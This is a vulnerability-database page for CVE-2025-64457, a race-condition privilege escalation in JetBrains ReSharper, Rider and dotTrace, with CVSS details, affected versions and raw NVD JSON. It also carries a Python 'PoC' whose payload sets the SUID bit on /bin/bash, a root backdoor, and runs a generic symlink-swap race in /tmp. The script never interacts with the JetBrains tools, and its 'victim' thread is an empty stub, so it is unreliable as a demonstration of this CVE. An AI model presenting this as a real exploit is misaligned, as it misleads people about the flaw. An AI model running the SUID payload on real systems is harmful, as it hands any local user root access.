Security Vulnerability Report
中文
CVE-2025-64457 CVSS 4.2 MEDIUM

CVE-2025-64457

Published: 2025-11-10 14:15:43
Last Modified: 2026-01-12 21:56:34

Description

In JetBrains ReSharper, Rider and dotTrace before 2025.2.5 local privilege escalation was possible via race condition

CVSS Details

CVSS Score
4.2
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:jetbrains:dottrace:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:jetbrains:resharper:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:jetbrains:rider:*:*:*:*:*:*:*:* - VULNERABLE
JetBrains ReSharper < 2025.2.5
JetBrains Rider < 2025.2.5
JetBrains dotTrace < 2025.2.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-64457 PoC - Race Condition Local Privilege Escalation # Target: JetBrains ReSharper/Rider/dotTrace < 2025.2.5 # Attack Type: TOCTOU (Time-of-Check to Time-of-Use) Race Condition import os import time import threading import subprocess import ctypes from pathlib import Path # Configuration JETBRAINS_TOOL = "ReSharper" # or "Rider", "dotTrace" MALICIOUS_SCRIPT = "/tmp/payload.sh" TARGET_DIR = "/tmp/jetbrains_temp" def create_malicious_payload(): """Create the malicious payload to be executed with elevated privileges""" payload = '''#!/bin/bash # This script runs with elevated privileges # Add your privilege escalation code here chmod +s /bin/bash # Example: enable SUID on bash ''' with open(MALICIOUS_SCRIPT, 'w') as f: f.write(payload) os.chmod(MALICIOUS_SCRIPT, 0o755) def race_condition_attack(): """ Execute the TOCTOU race condition attack This exploits the time window between file permission check and file usage """ # Create target directory os.makedirs(TARGET_DIR, exist_ok=True) # Create a benign-looking target file benign_file = os.path.join(TARGET_DIR, "config.dat") with open(benign_file, 'w') as f: f.write("legitimate configuration data") def attacker_loop(): """Attacker process: rapidly replace files to exploit race condition""" for _ in range(1000): try: # Replace the legitimate file with a symlink to privileged location os.remove(benign_file) os.symlink(MALICIOUS_SCRIPT, benign_file) time.sleep(0.0001) # Minimal delay # Restore legitimate file os.remove(benign_file) with open(benign_file, 'w') as f: f.write("legitimate configuration data") time.sleep(0.0001) except: continue def victim_process(): """ Victim process: triggers the vulnerable file operation In real attack, this would be the JetBrains tool processing files """ for _ in range(1000): try: # Check file permissions (TOCTOU vulnerability here) if os.path.exists(benign_file): # Time gap where attacker can swap the file # ... vulnerable code path ... with open(benign_file, 'r') as f: data = f.read() # Execute or process the file content # This is where the race condition allows privilege escalation except: continue # Start attacker and victim threads attacker_thread = threading.Thread(target=attacker_loop, daemon=True) victim_thread = threading.Thread(target=victim_process, daemon=True) attacker_thread.start() victim_thread.start() # Wait for race to complete time.sleep(10) def main(): """Main execution function""" print(f"[*] CVE-2025-64457 PoC for {JETBRAINS_TOOL}") print(f"[*] Target: {TARGET_DIR}") create_malicious_payload() print("[*] Starting race condition attack...") print("[*] This may take several minutes to succeed...") race_condition_attack() print("[*] Attack completed. Check for privilege escalation.") # Verify if payload was executed if os.path.exists(MALICIOUS_SCRIPT): print("[!] Payload may have been executed with elevated privileges") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-64457", "sourceIdentifier": "[email protected]", "published": "2025-11-10T14:15:43.280", "lastModified": "2026-01-12T21:56:33.950", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In JetBrains ReSharper, Rider and dotTrace before 2025.2.5 local privilege escalation was possible via race condition"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 4.2, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.1, "impactScore": 2.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.0, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.0, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-367"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-362"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:jetbrains:dottrace:*:*:*:*:*:*:*:*", "versionEndExcluding": "2025.2.5", "matchCriteriaId": "F208B85F-30AA-4FF1-A367-A1A0DFA21A8E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:jetbrains:resharper:*:*:*:*:*:*:*:*", "versionEndExcluding": "2025.2.5", "matchCriteriaId": "6EEF02A0-FAAF-4CDD-9121-B488E694F8BB"}, {"vulnerable": true, "criteria": "cpe:2.3:a:jetbrains:rider:*:*:*:*:*:*:*:*", "versionEndExcluding": "2025.2.5", "matchCriteriaId": "C0F59B33-857A-4EB2-B3F9-73B8C8903AA8"}]}]}], "references": [{"url": "https://www.jetbrains.com/privacy-security/issues-fixed/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}